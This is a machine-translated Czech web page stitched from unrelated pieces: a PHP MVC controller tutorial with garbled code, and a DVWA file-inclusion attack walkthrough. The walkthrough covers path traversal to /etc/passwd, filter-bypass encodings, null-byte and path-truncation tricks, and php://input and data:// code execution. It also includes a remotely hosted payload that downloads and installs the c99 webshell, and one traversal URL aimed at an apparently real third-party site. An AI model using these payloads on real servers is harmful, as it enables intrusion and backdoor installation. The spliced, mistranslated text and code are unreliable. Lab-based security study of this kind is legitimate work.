Místní a vzdálené vkládání souborů: využívání zranitelností a obcházení filtrů. Vytvořte stránku „Portfolio“. Výběr užitečných odkazů na toto téma

Představte si web sestávající ze dvou stránek. Na hlavní stránce se zobrazí nějaký text:

Druhá stránka představuje její editor:


Na něm můžeme měnit obsah domovská stránka a uložit změny.

V horní části stránek je hlavička webu, která se skládá ze dvou prvků. První je nezměněn a odráží název webu. Druhá obsahuje název aktuální stránku: Buď Číst nebo Upravit.

Pod záhlavím je menu, které je stejné pro všechny stránky webu a obsahuje odkazy na tyto stránky.

Nezměněné je také „zápatí“ stránky, které se zobrazí dodatečné informace o webu, například adresa, telefonní číslo, informace o tvůrci stránky.

Centrální část stránky „Čtení“ zabírá text, který můžeme nastavit na stránce „Úpravy“ pomocí běžného HTML formuláře s prvkem textarea

Výchozí body

Musíme zkombinovat dva přístupy – MVC a OOP. K tomu se při vývoji architektury systému budeme řídit následujícími pravidly.

  • Podle šablony MVC design Soubory řadiče, modelu a zobrazení budou rozděleny do tří samostatných adresářů.
  • Každý řadič bude reprezentován samostatným souborem, ve kterém bude deklarována třída řadiče, zapouzdřující logiku řadiče a poskytující metody pro zpracování HTTP požadavku uživatele.
  • Každá stránka webu bude mít samostatný kontroler zodpovědný za její výstup.
  • Systémové modely budou také implementovány jako třídy.
  • Pohledy budou implementovány jako běžné soubory PHP se značkami HTML proloženými kódem PHP pro zobrazení hodnoty proměnných skriptu.
  • HTTP požadavky do systému budou prováděny prostřednictvím speciálního vstupního bodu - souboru index.php.
  • Ačkoli toto téma již bylo diskutováno, znovu opakujeme, že je důležité mít jasno v rozdílech mezi účelem tříd regulátorů a tříd modelu. Třídy řadičů slouží ke zpracování HTTP požadavku uživatele, tedy k příjmu parametrů vstupního požadavku a přípravě výsledné HTML stránky. K této práci používají regulátory modelové třídy, které představují jednotlivce funkční bloky: práce s databází, práce se soubory, práce s uživatelskými účty atd. Každý takto logicky propojený blok je reprezentován jako samostatná třída. Váš systém může mít například databázovou třídu, která bude ukládat popisovač k aktuálnímu databázovému připojení a poskytne sadu metod pro dotazování na databázi a získávání různých sad dat.

    Místo vstupu

    Vstupní bod je skript, který může uživatel vyvolat přímo z adresního řádku prohlížeče. Téměř všechny příklady, které jste napsali dříve, obsahovaly více vstupních bodů. Nicméně, na tento moment Ve webovém programování se považuje za dobrou praxi používat jeden vstupní bod na web. Veškerá logika pro přechod mezi stránkami je implementována pomocí dalších parametrů předávaných skriptu a také prostřednictvím relací a souborů cookie. V jediném vstupním bodě může programátor definovat akce specifické pro každou stránku webu. Může to být autentizace uživatele, navázání připojení k databázi, inicializace globálních proměnných a další úkoly.

    V našem příkladu také použijeme jediný vstupní bod – soubor index.php. Podívejme se na jeho obsah:

    Pojďme vyřešíme práci tohoto scénářeřádek po řádku.

    Include_once("inc/C_View.php"); include_once("inc/C_Edit.php");

    První dva řádky obsahují soubory ovladače pro stránky „Čtení“ a „Úpravy“.

    Přepnout ($_GET["c"])

    Zde je analyzován parametr GET s názvem c:

    Případ "edit": $controller = new C_Edit(); přestávka;

    Li tento parametr ukládá řetězec "edit", pak je proměnné $controller přiřazen objekt třídy C_Edit, jehož popis je v souboru inc/C_Edit.php, zařazeném na samém začátku skriptu.

    Pokud parametr c není zadán nebo má jinou hodnotu než "edit", provede se další větev příkazu switch:

    Výchozí: $controller = new C_View();

    Zde je proměnné $controller přiřazena instance třídy C_View.

    Nakonec poslední řádek volá metodu Žádost() pro vytvořený objekt:

    $controller->Request();

    Vezměte prosím na vědomí, že zde můžeme vidět typický příklad polymorfismu. Proměnná $controller může ukládat jak instanci třídy C_Edit, tak instanci třídy C_View. Proto nemůžeme předem znát metodu Žádost() která třída bude ve skriptu volána. Důležité je pouze to, že aby skript fungoval správně, musí mít obě třídy tuto metodu.

    Obecně je úkol vstupního bodu jednoduchý - předat řízení jednomu z ovladačů. Který z nich je určen pomocí parametru požadavku GET s názvem c .

    Hierarchie ovladačů

    Začneme navrhovat systém a nejprve určíme, které ovladače v něm budou přítomny. Ze souboru index.php můžete vidět, že systém má minimálně dva řadiče, reprezentované jako třídy C_Edit a C_View . Úkolem třídy C_Edit je organizovat zobrazení stránky „Úpravy“ a třída C_View má zobrazovat stránku „Čtení“. Léčba vstupní parametry a výstup stránky je zapouzdřen uvnitř metody Žádost(), který musí být přítomen ve třídách C_View i C_Edit. To může navrhnout vytvoření společné rodičovské třídy pro dva řadiče. Implementace C_View bude skutečně stejná jako C_Edit, takže oddělení základní třídy řadiče je užitečným krokem.

    Došli jsme tedy k myšlence potřeby vytvořit základní třídu řadiče. Říkejme tomu C_Base. Bude abstraktní a nebude mít konkrétní implementace. Zavádíme jej tak, aby z něj zdědily ostatní třídy řadičů. Třída C_Base bude ukládat základní vlastnosti a metody specifické pro každý řadič daného webu.

    Pojďme se zamyslet, jaké parametry jsou společné pro každou stránku webu? Za prvé, toto je název webu. Za druhé, text umístěný ve spodní části každé stránky. To také zahrnuje položky nabídky, které jsou stejné pro každou stránku webu. Abychom to shrnuli, můžeme říci, že za základní šablonu webu je zodpovědný řadič C_Base.

    Je zřejmé, že každý ovladač bude obsahovat metodu Žádost(), odpovědný za vyřízení žádosti. Proto lze jeho deklaraci také umístit do třídy C_Base a učinit abstraktní, takže pro implementaci této metody jsou vyžadovány potomkové třídy.

    Možná má smysl některé více zdůraznit obecné vlastnosti nebo metody pro všechny řadiče webu. Přemýšlejte o tom sami. Zdůrazňujeme, že C_Base je základní třída, která kombinuje vše společné prvky každý správce konkrétního webu.

    Ale zkusme jít ještě dál a zamyslete se, je možné vytvořit třídu řadiče, která by zapouzdřovala logiku, která je neměnná pro jakýkoli řadič na libovolném webu? Do takové třídy již nebudeme moci přenést vlastnost site name, ale například metodu Žádost(), odpovědný za zpracování požadavku a vygenerování výsledné stránky, musí být vždy přítomen v každém správci.

    Nenechme si vás uvíznout a demonstrovat hierarchii tříd kontrolerů, kterou doporučujeme vzít jako příklad:

    Tento diagram se používá v popisu jazyk UML a nazývá se diagram tříd. Každý obdélník na něm odpovídá samostatné třídě. V horní části obdélníku je název třídy zvýrazněn tučně. Šipky označují dědičné vztahy. Vlastnosti třídy jsou uvedeny kurzívou a její metody jsou kurzívou. Znak – před vlastnostmi nebo metodami označuje, že vlastnost nebo metoda je deklarována s modifikátorem private, znak # odpovídá chráněnému modifikátoru a + odpovídá modifikátoru public.

    Třída ovladačů

    Řadič je základní třída řadičů, která je navržena tak, aby zapouzdřovala nejběžnější prvky společné pro řadiče na jakémkoli webu. Zde jsme zahrnuli řadu pomocných funkcí:

  • Šablona()- nahradit sadu proměnných do šablony a zobrazit ji na obrazovce;
  • IsGet()- zkontrolovat, zda byl požadavek GET dokončen;
  • IsPost()- zkontrolovat, zda byl požadavek POST dokončen.
  • Třída Controller obsahuje deklaraci nám již známé metody Žádost().
    Podívejme se na jeho implementaci:

    Veřejná funkce Request() ( $this->OnInput(); $this->OnOutput(); )

    V metodě Žádost() zpracování požadavku rozdělíme na dvě části: zpracování vstupních dat (metoda OnInput()) a vytvoření výsledné stránky (metoda OnOutput()). Toto rozdělení je docela pohodlné a navrhujeme jej použít v budoucích projektech. Metody OnInput() A OnOutput() musí být v dětských třídách přepsány.

    Třída C_Base

    C_Base je základní řadič pro náš konkrétní web. Ve většině případů potřebujete jeden základní ovladač pro celý web. Třída C_Base je zodpovědná za základ HTML šablona, může definovat základní proměnné pro celý web, například název webu.

    Kromě toho ve třídě C_Base musíte přepsat metody OnInput() A OnOutput() a zahrnout do nich akce společné pro všechny správce lokality. Kontroléry, které budou dědit od třídy C_Base, přepíší tyto metody, ale budou moci volat rodičovské metody pomocí klíčového slova parent.

    Navrhujeme následující implementaci metod OnInput() A OnOutput() ve třídě C_Base.

    Chráněná funkce OnInput() ( $this->title = "Domovská stránka"; $this->content = ""; } protected function OnOutput() { $vars = array("title" => $this->title,"content" => $this->content); $page = $this->Template("main", $vars); echo $page; } !}

    V metodě OnInput() můžeme inicializovat proměnné šablony výchozí hodnoty. V metodě OnOutput() nejprve vytvoříme pole proměnných šablony a poté použijeme metodu Šablona(), který je definován ve třídě Controller a je zodpovědný za substituci proměnných v šabloně. Jeho realizace je na vás. Podle naší představy metoda Šablona() má dva parametry: první z nich je název šablony, která se má připojit, druhý parametr je pole proměnných, které je třeba do šablony dosadit. Nakonec se vygenerovaná stránka zobrazí na obrazovce. Jak si dokážete představit, toto je poslední operace, kterou musí skript provést. Proto funkce OnOutput() třída C_Base by měla být volána na samém konci našeho PHP skriptu.

    Ovladače C_View a C_Edit

    C_View a C_Edit - ovladače konkrétní stránky místo, mají přednost před metodami OnInput() A OnOutput(), ale také přenést řízení na ovladač C_Base.

    Podívejme se na příklad implementace těchto metod pro třídu C_View.

    Chráněná funkce OnInput() ( parent::OnInput(); $this->title = $this->title . " :: Reading"; $this->text = $this->getText(); ) chráněná funkce OnOutput( ) ( $vars = array("text" => $this->text); $this->content = $this->Template("theme/v_view.php", $vars); parent::OnOutput(); )

    V metodě OnInput() nejprve probíhá hovor rodičovská metoda, pak určí název stránky a načte její text pomocí metody getText(). Konkrétní implementace metody getText() pro nás nyní není důležitá. Může přijímat text z databáze nebo souboru, nebo dokonce vracet nějakou předdefinovanou konstantu. Důležité je, že ve výsledku uložíme text do nějakého pole třídy.

    Metoda OnOutput() začíná vytvořením pole, které je předáno funkci generování šablony Šablona(). Výsledek jeho provedení se uloží do pole obsahu. Poté se zavolá rodičovská metoda OnOutput(). Návrat k textu metody OnOutput() třídy C_Base a všimněte si, že ve skutečnosti používá hodnotu pole obsahu, kterou tvoříme v aktuální metodě OnOutput() třída C_View.

    Pokud se znovu podíváte na kód, všimnete si, že volání rodičovských metod OnInput() A OnOuput() druh rámců smyčka zpracování požadavků ve třídě C_View.

    Cyklus zpracování žádosti

    Nyní se podívejme na obecný pohled na zpracování požadavku, který jsme obdrželi. Spouštění skriptu začíná ze souboru index.php. Zde se vybere požadovaný ovladač a přenese se na něj řízení volání metody Žádost().

    Tato metoda zahajuje dvě fáze zpracování požadavku:

  • Volání modelu (OnInput());
  • Generování HTML (OnOutput()).
  • První fáze by měla fungovat v následujícím pořadí:
  • Základní ovladač (C_Base);
  • Konkrétní ovladač (C_View nebo C_Edit).
  • Dále začíná fáze generování HTML, měla by probíhat v opačném pořadí:
  • Konkrétní ovladač (C_View nebo C_Edit);
  • Základní ovladač (C_Base).
  • Na diagramu tento cyklus lze reprezentovat takto:


    Konečně

    Tím příběh o aplikaci končí OOP spolu s konceptem MVC. Zbývající funkční bloky webu budete muset implementovat sami. Nenechte se zastrašit vysokou obtížností úkolu. Postupně vám budou nové pojmy důvěrně známé a budete se v nich moci orientovat mnohem jistěji.

    Programování nebylo nikdy pro nikoho snadné. S každým dnem cvičení, s každým novým PHP skriptem získáváte vlastní neocenitelné zkušenosti, které vám v budoucnu umožní rychle, kompetentně a efektivně rozvíjet internetové systémy jakékoli složitosti. Klíčem k této příležitosti je Jedná se o profesionální přístup k vývoji webu.

    Někdy se vkládání souborů nazývá inclusion, někdy je považováno za součást PHP injection (vkládání kódu). To druhé není úplně pravda, protože zranitelnost vkládání souborů nemusí nutně souviset se spuštěním kódu.

    K této chybě zabezpečení může dojít při použití (v PHP) výrazů, jako jsou:

    • vyžadovat_jednou,
    • zahrnout_jednou,
    • zahrnout,
    • vyžadovat

    Každý z nich má drobné nuance, ale společné mají to, že zahrnou soubor do programu a spustí jej. Tyto výrazy mohou způsobit problémy, pokud projdou uživatelským vstupem a program jej dostatečně nefiltruje.

    Mimochodem, ano, to jsou výrazy, ne funkce. Není nutné psát takto:

    Vyžadovat("nějakýsoubor.php");

    Tato možnost je výhodnější:

    Vyžadovat "somefile.php";

    Ale to je ústup, který nemá nic společného se zranitelností.

    Pokud jsou soubory zahrnuty pomocí výrazů require_once, include_once, include, require, pak můžeme říci, že vkládání kódu také probíhá ve stejnou dobu. Je však možné zahrnout soubory bez spuštění kódu na serveru. Webová stránka například mění svůj vzhled na základě uživatelem zvoleného tématu. Název motivů odpovídá názvu souborů HTML, které se čtou na serveru. V této situaci, pokud je požadavek vytvořen tak, že čte soubor, který k tomu není určen (například soubor PHP), pak místo provedení příkazů zobrazí zdroj PHP.

    Uživatel může určit vzdálený nebo místní soubor jako soubor zahrnutí. Na základě toho se rozlišují dvě odpovídající odrůdy:

    • vkládání místního souboru
    • vzdálené vkládání souborů

    Nebezpečí vzdáleného zahrnutí je spuštění libovolného kódu na zranitelném serveru. To se obvykle používá u infekcí backdoor.

    Nebezpečí místní implementace soubory spočívá v tom, že uživatel může zobrazit obsah souborů, ke kterým nemá práva (zdrojové kódy programů, systémové soubory s nastavením a hesly). S místním zahrnutím je také možné spustit kód třetí strany (například pro infekci backdoorem), pokud byl na server dříve nahrán soubor se škodlivým kódem nebo byla použita metoda otravy protokolem nebo některé jiné metody.

    Místní zahrnutí souborů není o nic méně nebezpečné než zavedení vzdálených souborů.

    Využití místního vkládání souborů

    Tuto chybu zabezpečení si můžete vyzkoušet v Damn Vulnerable Web Application (DVWA). Používám Web Security Dojo, kde je již nainstalován DVWA.

    Začněme s nízká úroveň(nízké zabezpečení DVWA).

    Pojďme na stránku File Inclusion http://localhost/dvwa/vulnerabilities/fi/?page=include.php

    • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
    • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
    • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

    Pokud je hodnota podobná názvu souboru (soubor1.php, soubor2.php) předána jako argument proměnné, pak můžeme předpokládat, že se používá include. Vzhledem k tomu, že přípona souboru je .php, je soubor s největší pravděpodobností spuštěn na serveru (tj. je možné vložení kódu) a nikoli pouze zobrazen pro zobrazení.

    DVWA má stránku http://localhost/dvwa/about.php, je umístěna o dvě úrovně výše, zkusme se na ni podívat takto: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ o.php

    Ano, existuje místní chyba zabezpečení. Při zadávání se nefiltrují přechody do vyšších adresářů (../); seznam souborů pro zařazení není vyčerpávající (místo navrhovaného souboru*.php jsme zvolili about.php).

    Někdy se používají zahrnuté soubory, ale adresy mohou vypadat například takto: http://localhost/dvwa/vulnerabilities/fi/?page=file1. V tomto případě lze do skriptu přidat příponu a skript vloží soubor, jehož jméno se nakonec vytvoří ve skriptu. Zranitelnost v této podobě je obvykle obtížné/nemožné zneužít.

    Jako příklad využití místního zahrnutí souboru často rádi dávají něco takového:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

    Jak vidíme, povedlo se. Ale protože webové prohlížeče ignorují /r/n (znaky nový řádek), pak musíme otevřít zdrojový kód, aby byly položky čitelné:

    Bohužel v souboru /etc/passwd už dlouho nejsou žádná hesla.

    Ze serveru můžete stahovat různé konfigurační soubory, SSL certifikáty, v zásadě jakýkoli soubor, který je otevřen pro čtení všem uživatelům nebo pro který má webový server dostatečná práva ke čtení:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

    Pokud jde o sdílené hostingy, někdy se můžete podívat do složek jiných lidí (opět, když nesprávné nastavení uživatelská práva).

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

    Úkol je komplikován tím, že potřebujeme znát cestu k souboru.

    Obsluha vzdáleného vkládání souborů

    PHP je velmi flexibilní a pro vývojáře přívětivý programovací jazyk. Příkazy pro vkládání souborů a některé další dokonale rozpoznávají a správně zpracovávají nejen lokální soubory, ale i URL...

    Zkusme místo názvu souboru napsat URL webu https://site/:

    http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

    Podívejte se, jak to vypadá zajímavě:

    Stalo se následující: interpret PHP obdržel příkaz k zahrnutí souboru/stránky https://site/. Otevřel/stáhl odpovídající adresu a poslal výsledný kód k provedení jako PHP programy. Protože PHP provádí pouze kód obklopený vhodnými značkami (in v tomto případě nebyl vůbec žádný kód) a vše ostatní se zobrazí tak, jak je, pak se celá stránka webu zobrazí tak, jak je.

    Tato chyba zabezpečení je pro nás samozřejmě zajímavá ne proto, že bychom si mohli prohlížet jiné weby prostřednictvím jednoho webu.

  • Generování/nalezení zdrojového kódu backdoor
  • Vytvoříme soubor, který je z pohledu PHP správný pro spuštění na serveru, který uloží zdrojový kód backdoor do souboru PHP
  • Uložte přijatý kód do TEXTového souboru
  • Nahrajte tento textový soubor na kontrolovaný server
  • Naše zadní vrátka ukládáme na zranitelný server pomocí vzdáleného zahrnutí souborů
  • Slovo „text“ jsem zvýraznil z toho důvodu, že na serveru pod naší kontrolou by měl být textový soubor, který by se na našem serveru neměl spouštět. Náš server potřebuje pouze ukázat svůj obsah.

    Chcete-li vytvořit zadní vrátka, můžete použít Weevely, PhpSploit nebo si můžete vzít hotová řešení. Použijme tentokrát již hotovou.

    Proměnné $backdoor přiřadím zdrojový kód backdooru, který si stahuji z Githubu. Poté pomocí funkce file_put_contents uložím výsledný zdrojový kód do souboru c99unlimited.php.

    Kód, který jsem zveřejnil textový soubor

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "hotovo!";

    Je k dispozici na http://miloserdov.org/sec.txt

    Nyní pomocí vzdáleného zahrnutí nahrajeme zadní vrátka na zranitelný server.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Pozor na nápis hotovo!, zobrazuje ho skript, tzn. vše se asi povedlo.

    Vzhledem k tomu, že skript, který obsahuje soubory, je umístěn v adresáři http://localhost/dvwa/vulnerabilities/fi/ a náš nový soubor se zadními vrátky by měl být uložen pod názvem c99unlimited.php, úplná adresa zadních vrátek na zranitelný server by měl být: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Kontrolujeme:

    Skvělé, nyní máme všechny funkce, které by správce webového serveru mohl potřebovat... a ty, kteří mají přístup k jejich serveru.

    Při místním zahrnutí souborů obejít filtrování

    Přejdeme na střední úroveň zabezpečení (konfigurovatelná v DVWA Security).

    Pokud se podíváme na zdrojový kód (tlačítko Zobrazit zdroj):

    pak uvidíme, že znaky ../ jsou nyní filtrovány. To nám zabrání přesunout se do adresáře výše, než je ten, ve kterém je spuštěn zranitelný skript.

    Tito. nic nebude fungovat takto:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Pojďme se zamyslet nad tím, jak v tomto případě funguje filtrování? Řekněme, že slovo „špatné“ je filtrováno a pak řádek jako

    dobrý špatný dobrý

    po filtrování to bude vypadat takto:

    dobře dobře

    A pokud vložíte řádek takto

    špatný špatný xo

    pak po filtrování (to „špatné“ bude odstraněno) se ukáže

    Špatně

    Do ../ vložíme ../ opět doprostřed, ukáže se ..././

    Zkusme tuto adresu http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Fungovalo to!

    Dalším řešením by mohlo být kódování znaků do hexadecimálního kódování, příklad tohoto řádku:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" lze nahradit "%2E%2E%2f".

    Je také praktikováno dvojité hex kódování, ve kterém je „../“ nahrazeno „%252E%252E%252F“

    Místní zahrnutí souborů při přidávání přípony do skriptu

    Pokud kód včetně souborů vypadá takto:

    Tito. Pokud je k libovolnému uživatelskému vstupu přidáno .php nebo nějaké jiné rozšíření, neumožňuje to vytvořit požadavek tak, aby došlo k útoku.

    Existuje několik technik, které jsou navrženy tak, aby rozšíření zahodily, ale lze je považovat za zastaralé, protože fungují na PHP 5.3, a dokonce ani na všech verzích. Správci webových serverů jsou však klinicky konzervativní a raději se ničeho nedotýkají, pokud to funguje. Tito. Existuje šance, že narazíte na server s velmi starou verzí PHP a měli byste si být vědomi těchto technik.

    Použití nulového bajtu %00 (nulový bajt)

    Na konec požadavku je přidán prázdný bajt, aby se rozšíření ignorovalo:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Druhá metoda se nazývá útok prořezávání cesty. Pointa je, že PHP zkracuje cesty delší než 4096 bajtů. V tomto případě PHP otevře soubor správně, i když jsou na konci jeho názvu lomítka a tečky. Pokud předáte jako parametr něco jako?param1=../../../../etc/passwd/./././././ (kde ./ se opakuje mnohotisíckrát), pak koncový soubor spolu s příponou (kterou skript přidal, v důsledku čehož název souboru obsahuje/../../../../etc/passwd/./././././ .php) bude zahozen. A název souboru bude include/../../../../etc/passwd/./././././. A protože PHP není zmateno koncovými lomítky a ./ na konci souboru, jednoduše je ignoruje, celkově PHP otevře soubor podél cesty include/../../../../etc/ passwd.

    Vynechání filtrování pro vzdálené vkládání souborů

    Jak jsme již viděli ve zdrojovém kódu, střední úroveň zabezpečení také filtruje http:// a https://.

    Nyní http://localhost/dvwa/vulnerabilities/fi/?. Použijeme přesně stejnou techniku ​​jako obejít filtrování s místním zahrnutím. Vygenerovaný požadavek:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    A ještě si všimněte, že se nefiltruje, např. ftp, tzn. Tato možnost by fungovala bez jakýchkoli triků:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Získání zdrojového kódu PHP skriptů při zahrnutí souborů z php://filter

    Tento trik nevyžaduje zahrnutí vzdáleného souboru. Použije se druh meta wrapperu php://filter.

    Řekněme, že chceme vidět zdrojový kód souboru file1.php, pak pro naši situaci bude požadavek složen takto:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Pozor na nesmyslný řetězec písmen a číslic – to je zdrojový kód souboru file1.php v kódování base64. Protože jde o base64, jsou podporovány i binární soubory.

    Pojďme dekódovat soubor:

    Vzdálené spuštění kódu pomocí php://input

    Toto není jako vkládání souborů a opět nevyžaduje nahrávání souborů.

    Pro pomoc použiji rozšíření FireFox, můžete jej také použít nebo jakýkoli jiný program (například curl), který umí přenášet data metodou POST.

    php://input má přístup k surovému tělu HTTP požadavek Chcete-li pochopit, co include("php://input") dělá, otevřete stránku

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    A v těle žádosti odešlete správné PHP kód (například pomocí metody POST). To vám umožní provádět jakoukoli funkci povolenou na vzdáleném serveru!

    Vzdálené spuštění kódu s data://

    PHP navíc podporuje schéma data:// URL. Kód můžete umístit přímo do parametru GET! Následující test nevyžaduje žádné speciální nástroje, pouze běžný prohlížeč k provedení útoku.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Některé brány firewall webových aplikací si mohou všimnout podezřelého řetězce v adrese URL a zablokovat škodlivý požadavek. Existuje však způsob, jak zašifrovat řetězec s kódováním alespoň base64:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Provádějte libovolné příkazy z /proc/self/environ

    /proc/self/environ je úložiště procesních proměnných. Pokud má proces Apache dostatečná práva pro přístup k němu, pak při otevření webové stránky, která obsahuje zahrnutí s podobnou adresou URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    vydá něco jako

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, aplikace/xml;q=0.9, aplikace/xhtml+xml, obrázek/png, obrázek/jpeg, obrázek/gif, obrázek/x-xbitmap , */*;q=0,1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 verze/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx,6x [e-mail chráněný] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Věnujte pozornost HTTP_USER_AGENT. Místo toho můžete nahradit správný PHP kód, který bude spuštěn na vzdáleném serveru.

    Leptání a vkládání protokolů při místním zahrnutí souborů

    Bohužel na nejnovější verze Apache tato metoda již nefunguje.

    Jeho podstata spočívá v tom, že kód útočníka je vložen do protokolů webového serveru. To lze provést nahrazením User-Agent , nebo dokonce jednoduchým předáním parametru GET.

    Statická injekce vzdáleného souboru

    Příklad statického:

    Ve velmi exotických situacích můžete použít statické zařazení. Pro vložení škodlivého kódu je nutné provést útok typu man-in-the-middle mezi dvěma servery: jeden z nich je hostitelem webové aplikace využívající zahrnutí a druhý je hostitelem souboru použitého k zahrnutí.

    Závěr

    Většina zde uvedených příkladů vyžaduje určité podmínky, které se scvrkají na nesprávnou konfiguraci serveru. Tito. Jednoduše řečeno, ne všechny zde uvedené metody budou fungovat na většině webových serverů.

    Mnoho lidí začne psát projekt, aby pracovalo s jediným úkolem, aniž by naznačovalo, že se může rozvinout do systému správy více uživatelů, například obsahu nebo nedej bože produkce. A všechno se zdá skvělé a cool, všechno funguje, dokud nezačnete chápat, že napsaný kód se skládá výhradně z berliček a pevného kódu. Kód je smíchán s rozložením, dotazy a berličkami, někdy dokonce nečitelný. Vyvstává naléhavý problém: při přidávání nových funkcí si musíte s tímto kódem vrtat velmi dlouho a pamatovat si „co tam bylo napsáno?“ a proklínat se v minulosti.

    Možná jste dokonce slyšeli o designových vzorech a dokonce jste listovali v těchto úžasných knihách:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides „Objektově orientované konstrukční techniky. Designové vzory";
    • M. Fowler "Architecture of Enterprise Software Applications."
    A mnozí, neohrožení obrovskými manuály a dokumentací, se pokusili studovat kterýkoli z moderních rámců a tváří v tvář složitosti chápání (kvůli přítomnosti mnoha architektonických konceptů chytře na sebe propojených) studium a použití moderní nástroje „na zadní straně“.

    Tento článek bude užitečný především pro začátečníky. V každém případě doufám, že si za pár hodin budete moci udělat představu o implementaci vzoru MVC, který je základem všech moderních webových frameworků, a také získáte „potravu“ pro další úvahy o tom, „jak na to Udělej to." Na konci článku je výběr užitečných odkazů, které vám také pomohou pochopit, z čeho se skládají webové rámce (kromě MVC) a jak fungují.

    Zkušení PHP programátoři v tomto článku pravděpodobně nenajdou nic nového pro sebe, ale jejich komentáře a komentáře k hlavnímu textu by byly velmi užitečné! Protože Bez teorie je praxe nemožná a bez praxe je teorie k ničemu, pak bude nejdřív trochu teorie a pak přejdeme k praxi. Pokud jste již obeznámeni s konceptem MVC, můžete přeskočit teoretickou část a přejít rovnou k praxi.

    1. Teorie Vzor MVC popisuje jednoduchý způsob strukturování aplikace, jejímž účelem je oddělit obchodní logiku od uživatelského rozhraní. Díky tomu je aplikace jednodušší škálovat, testovat, udržovat a samozřejmě implementovat.

    Podívejme se na koncepční diagram vzoru MVC (podle mého názoru je to nejúspěšnější diagram, který jsem viděl):

    V architektuře MVC model poskytuje data a pravidla obchodní logiky, za které je zodpovědný pohled uživatelské rozhraní a ovladač zajišťuje interakci mezi modelem a pohledem.

    Typický tok aplikace MVC lze popsat následovně:

  • Když uživatel navštíví webový zdroj, inicializační skript vytvoří instanci aplikace a spustí ji ke spuštění.
    Tím se zobrazí pohled řekněme na hlavní stránku webu.
  • Aplikace obdrží požadavek od uživatele a určí požadovaný ovladač a akci. V případě hlavní stránky se provede výchozí akce ( index).
  • Aplikace vytvoří instanci ovladače a spustí metodu akce,
    která například obsahuje modelová volání, která čtou informace z databáze.
  • Poté akce vytvoří pohled s daty získanými z modelu a zobrazí výsledek uživateli.
  • Model – obsahuje obchodní logiku aplikace a zahrnuje metody pro vzorkování (mohou to být metody ORM), zpracování (například ověřovací pravidla) a poskytování specifických dat, což je často velmi zahušťuje, což je zcela běžné.
    Model by neměl přímo interagovat s uživatelem. Všechny proměnné související s požadavkem uživatele musí být zpracovány v regulátoru.
    Model by neměl generovat HTML nebo jiný zobrazovaný kód, který se může měnit v závislosti na potřebách uživatele. Takový kód by měl být zpracován v zobrazeních.
    Stejný model, například: model autentizace uživatele lze použít v uživatelské i administrativní části aplikace. V tomto případě můžete obecný kód přesunout do samostatné třídy a dědit z ní a definovat metody specifické pro podaplikaci v jejích potomcích.

    Pohled – slouží k určení externího zobrazení dat přijatých z regulátoru a modelu.
    Pohledy obsahují značky HTML a malé vložky kódu PHP pro procházení, formátování a zobrazování dat.
    Neměl by přistupovat přímo k databázi. To je to, co by modely měly dělat.
    Neměl by pracovat s daty získanými z požadavku uživatele. Tento úkol musí provést regulátor.
    Může přímo přistupovat k vlastnostem a metodám regulátoru nebo modelů, aby získal data připravená k výstupu.
    Pohledy se obvykle dělí na společnou šablonu obsahující označení společné pro všechny stránky (například záhlaví a zápatí) a části šablony, které se používají k zobrazení výstupu dat z modelu nebo zobrazení formulářů pro zadávání dat.

    Ovladač je lepidlo, které spojuje modely, pohledy a další komponenty pracovní aplikace. Správce je odpovědný za zpracování požadavků uživatelů. Řadič by neměl obsahovat SQL dotazy. Je lepší je nechat v modelech. Řadič by neměl obsahovat HTML nebo jiné značky. Vyplatí se to přiblížit.
    V dobře navržené aplikaci MVC jsou řadiče obvykle velmi tenké a obsahují pouze několik desítek řádků kódu. Totéž nelze říci o Stupid Fat Controllers (SFC) v CMS Joomla. Logika ovladače je zcela typická a většina z ní se provádí v základní třídy.
    Modely jsou naopak velmi tlusté a obsahují většinu kódu souvisejícího se zpracováním dat, protože datová struktura a obchodní logika v ní obsažené jsou obvykle zcela specifické pro konkrétní aplikaci.

